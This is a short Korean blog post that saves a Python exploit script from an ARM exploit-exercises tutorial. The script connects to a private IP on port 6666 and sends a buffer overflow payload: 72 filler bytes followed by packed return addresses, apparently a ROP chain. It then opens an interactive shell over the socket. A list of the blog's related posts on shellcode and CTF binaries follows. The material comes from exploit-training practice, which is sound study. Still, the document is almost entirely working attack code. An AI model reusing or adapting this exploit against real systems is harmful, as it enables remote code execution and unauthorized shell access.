쓸때마다 손으로 치기 귀찮으니 생각난김에 저장.
출처 : https://rotlogix.com/2016/05/03/arm-exploit-exercises/
import socket
import sys
import struct
import telnetlib
def exploit():
try:
# Connect to target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.174.90.177', 6666))
print("[*] Connecting to target (!)")
# Build payload
payload = 'A' * 72
payload += struct.pack("<I", 0x76EE012C)
payload += struct.pack("<I", 0x7efff7f3)
payload += 'BBBB'
payload += struct.pack("<I", 0x76EC2BC8)
payload += 'CCCC'
payload += 'DDDD'
payload += 'EEEE'
payload += 'FFFF'
payload += struct.pack("<I", 0x76e9ffac)
print("[*] Sending Payload (!)")
# Send payload
s.sendall(payload)
# Interact with the shell
t = telnetlib.Telnet()
t.sock = s
t.interact()
except socket.errno:
raise
if __name__ == '__main__':
try:
exploit()
except KeyboardInterrupt:
sys.exit(0)
|
'System_Hacking' 카테고리의 다른 글
CTF 바이너리 sockat 으로 xinetd 데몬처럼 띄우기 (0) | 2016.05.31 |
---|---|
32bit linux shellcode (/bin/sh) (0) | 2016.05.17 |
SPI 통신으로 firmware dump 뜨기 (0) | 2016.02.21 |
QEMU 돌릴때 포트포워딩 옵션 (0) | 2016.02.21 |
Shellcode 뽑아내는 깨알 팁. (0) | 2015.12.21 |